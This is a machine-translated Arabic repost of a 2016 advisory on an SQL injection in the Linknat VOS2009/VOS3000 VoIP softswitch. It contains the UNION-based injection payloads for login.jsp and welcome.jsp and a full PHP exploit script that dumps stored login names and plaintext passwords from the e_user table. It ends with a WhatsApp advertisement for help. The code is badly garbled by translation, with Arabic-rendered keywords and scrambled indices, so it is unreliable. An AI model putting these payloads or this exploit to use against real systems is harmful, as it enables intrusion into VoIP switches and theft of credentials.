Linknat VOS2009/VOS3000 حقن SQL
من: أسامة خالد <osama ()="" codinghazard="" com="">التاري
خ: الخميس, 19 مايو 2016 16:52:54 +0500</osama>
تم العثور على حقنة SQL في لينكنات VOS3000/VOS2009، وهو VoIP شعبية softswitch، التي يمكن أن تسمح للمهاجمين عن بعد للوصول إلى بيانات الاعتماد المخزنة في نص عادي. التطبيق: لينكنات VOS3000/VOS2009 الإصدارات المتأثرة: 2.1.1.5, 2.1.1.8, 2.1.2.0 URL البائع: http://www.linknat.com/ خطأ: SQLi (مع امتيازات DBA) النوع: عن بعد القرار: ثابت، الترقية إلى 2.1.2.4 أو 2.1.6.0 النسخة النظيفة المرجع: WooYun-2015-145458 - http://www.wooyun.org/bugs/wooyun-2010-0145458 SQLi ذكرت هي عمياء القائمة على الزمن. نظرا لأنه ليس في النطاق SQLi ، و ويمكن جمع النتائج من الناتج من الترحيب .jsp خلال نفس الدوره. (الطلب الأول) http://target/eng/login.jsp تسجيل الدخول PARAMاًايناًالم name=' حدد الاتحاد 1,2,@@version,'مرحبا',5,6# تمرير =' أو ''=' (الطلب الثاني خلال الدورة نفسها) الحصول على http://target/eng/welcome.jsp اختيار 0|'الاتحاد 1,2,@@version,'مرحباً',5,6#|1|5.0.51a-المجتمع|مرحباً|0.00|0.00||| <?php # #[ EXPLOIT CODE ] Linknat VOS2009/VOS3000 SQLi exploit # # DISCLAIMER: The exploit is to be used for educational purposes only # The author would not be responsible for any misuse # # AUTHOR: Osama Khalid # WEBSITE: http://www.codinghazard.com/ # DATE: 19/05/2016 # REF: http://www.wooyun.org/bugs/wooyun-2010-0145458 if ($argc < 2) { banner(); usage(); exit; } $host = $argv; $column_one [1]= isset($argv) ? $argv : "log[2]inname"; [2]$column_two = isset($argv) ? $argv : "pass[3]word"; $t[3]able = isset($argv) ? $argv : "e_us[4]er"; $othe[4]r = isset($argv) ? $argv : ""; f[5]unction b[5]anner() { echo "########################################n"; echo "# #n"; echo "# Linknat VOS3000/VOS2009 SQLi exploit #n"; echo "# #n"; echo "# Osama Khalid #n"; echo "########### codinghazard.com ###########n"; } function usage() { echo "n"; echo "php vos3000.php n"; echo "php vos30[HOST]00.php 127.0.0.1n"; echo "php vos3000.php n"; echo "php vo[HOST]s[COL1]3[COL2]0[TABLE]0[OTHER SQL]0.php 127.0.0.1 table_schema table_name information_schema.tables "where table_schema = 'mysql'" n"; } function curl($url, $post = array(), $cookies = null, $header = false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_HEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($cookies != null) curl_setopt($curl, CURLOPT_COOKIE, $cookies); if (count($post) > 0) {20 foreach ( $post $key = > $value) $post_items = $key . '=' . urlencode ($value[]) ؛ $post_string = "الهدّة" ('&&'، $post_items)؛ curl_setopt ($curl، CURLOPT_POST، 1)؛ curl_setopt ($curl، CURLOPT_POSTFIELDS، $post_string)؛ } $data = curl_exec ($curl)؛ curl_close ($curl)؛ العودة $data ، ولكن } استعلام الدالة($host، $query) { $data = حليقة ("http://$host/eng/login.jsp";, صفيف "loginType" = > 1، "name" => "الاتحاد" . $query . "#", "تمرير" = > "' أو ''='" )، فارغة، صحيحة)؛ preg_match_all('| تعيين ملف تعريف الارتباط: (.*); |U'، $data، $matches)؛ $cookies = تنهار ('؛ '، $matches)؛ [1]$data = حليقة ("http://$host/eng/welcome.jsp";, array(), $cookies, false); $parts = تنفجر ("|", تقليم ($data)); إذا (العد($parts) < 7) return false; return array($parts, $parts); [3]} funct[4]ion ascii_table($data) { $keys = array_keys(end($data)); $wid = array_map('strlen', $keys); foreach($data as $row) { foreach(array_values($row) as $k => $v) $wid = الحد الأقصى[$k] ($wid، str[$k]len($v))؛ } foreach($wid $k = > $v) { $fmt = "%-{$[$k]v}s"; $sep = str_r[$k]epeat ('-'، $v)؛ } $fmt = '| ' . تنهار (' | '، $fmt) . ' |'; $sep = '+-' . تنهار ('-+-'، $sep) . '-+'; $buf = صفيف ($sep، $sep vsprintf($fmt، $keys)، و foreach($data كما $row) $buf = vsprintf ([]$fmt، $row)؛ $buf = $sep؛ []} العودة تنهار ("n", $buf); } راية(); echo "n"; صدى "الهدف: $hostn"; صدى "عمود #1: $column_onen"; صدى "العمود #2: $column_twon"; صدى "جدول: $tablen"; صدى "أخرى: $othern"؛ echo "n"; $results = صفيف(); $count_result = استعلام($host، "حدد 1,2,COUNT(*), 4,5,6 من $table $other")؛ إذا ($count_result) { $count = intval ($count_result); echo "العثور على $count الصفوف...n"[0]; لـ ($i= 0؛ $i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table $other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" . hex2bin($result) . " ,="" "="" .="" $colum[0]n_two="" .="" "=" . hex2bin($result) . " n";="" [1]}="" else="" {="" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array([]$column_one" ==""> سداسي عشري ($result)،[0] $column_two => سداسي عشري ($resu[1]lt)); } إذا (عدد($results) > 0) { echo "nn" . ascii_table($results) "n"; } } آخر { echo "خطأ في استرداد عدد الصفوف"؛ } ?></$count;>
من 2016 الناس باستخدام بعض أجهزة حقن SQL لينة الإختراق VOS3000, لدينا نظامنا الأمن الخاصة من ذلك الوقت, قمنا بتحديث نظامنا الأمني قوية جدا الآن, كان تركيز عملي دائما للأمن لvoip لينة التبديل. معظم الوقت أعطى نصيحة مجانية أو تبادل المعلومات قدر الإمكان مجانا. لا يزال هناك الكثير من الأشياء القذرة يركض، لذا يرجى توخي الحذر دائما ومعرفة المزيد. وإلا فإنك لن تكون قادرة على القيام بأعمال تجارية جيدة من أي وقت مضى. الآن في أيام الناس باستخدام البرامج النصية المخفية أو ملورس في VOS3000 برنامج العميل الإختراق VOS Server.
لمزيد من المساعدة تدق لي في ال WhatsApp: +880191119966 – سأفعل مساعدة جميع الطرق.
